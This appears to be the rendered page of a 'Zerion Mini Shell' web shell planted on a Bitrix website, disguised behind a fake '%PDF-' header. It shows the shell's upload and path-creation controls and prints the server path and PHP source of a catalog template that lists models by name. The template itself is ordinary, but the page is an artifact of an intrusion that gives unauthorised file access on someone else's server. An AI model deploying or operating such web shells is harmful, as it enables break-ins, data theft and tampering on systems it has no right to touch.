%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/bitrix/www/bitrix/templates/Ajax/components/bitrix/catalog.section/all_models/
Upload File :
Create Path :
Current File : //home/bitrix/www/bitrix/templates/Ajax/components/bitrix/catalog.section/all_models/template.php

<?if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();
/** @var array $arParams */
/** @var array $arResult */
/** @global CMain $APPLICATION */
/** @global CUser $USER */
/** @global CDatabase $DB */
/** @var CBitrixComponentTemplate $this */
/** @var string $templateName */
/** @var string $templateFile */
/** @var string $templateFolder */
/** @var string $componentPath */
/** @var CBitrixComponent $component */
$this->setFrameMode(true);
?>
	
		<?if (CModule::IncludeModule("iblock")) $mod=true;

		$res = CIBlockElement::GetList(Array("show_counter"=>"DESC"), array("ACTIVE"=>"Y", "IBLOCK_ID"=>2, "SECTION_ID" =>7, ">DETAIL_PICTURE"=>0, "INCLUDE_SUBSECTIONS"=>"Y", "!PROPERTY_TYPE"=>false, "!PROPERTY_TEST"=>'Y'),

			false, array("nTopCount"=>130), array("ID", "IBLOCK_ID", "CODE", "DETAIL_PICTURE", "IBLOCK_SECTION_ID", "PROPERTY_FNAME", "PROPERTY_LNAME"));
			$i=0;
		while($ar_fields = $res->GetNext()) {
			$i++;
			if ($i>(intval($_GET["PAGEN_2"])-1)*20 && $i<=(intval($_GET["PAGEN_2"]))*20){
		  $s_code = "";
		  $rs = CIBlockSection::GetByID($ar_fields["IBLOCK_SECTION_ID"]);
			if($ar_res = $rs->GetNext()) $s_code = $ar_res['CODE'];
			$ar_fields['DETAIL_PICTURE'] = CFile::GetFileArray($ar_fields['DETAIL_PICTURE']);
		?>	<?//echo '<pre>'; print_r($ar_fields); echo '</pre>';?>
				<figure class="col-xs-3">
					<a href="<?=SITE_DIR?>catalog/<?=$ar_fields["CODE"]?>/">
						<img class="img-responsive" src="<?=$ar_fields['DETAIL_PICTURE']['SRC']?>"  />
						<div style="text-align: center">
							<figcaption class="modelname"><?=$ar_fields['PROPERTY_FNAME_VALUE']." ".$ar_fields['PROPERTY_LNAME_VALUE']?></figcaption>
						</div>
						<div class="shadow"></div>
					</a>
				</figure>
			<?}?>
		<?}?>	
				  <div class="bordertop"></div>
											
				  <div class="borderleft"></div>
											
				  <div class="borderright"></div>
											
				  <div class="borderbottom"></div>
	

         

Zerion Mini Shell 1.0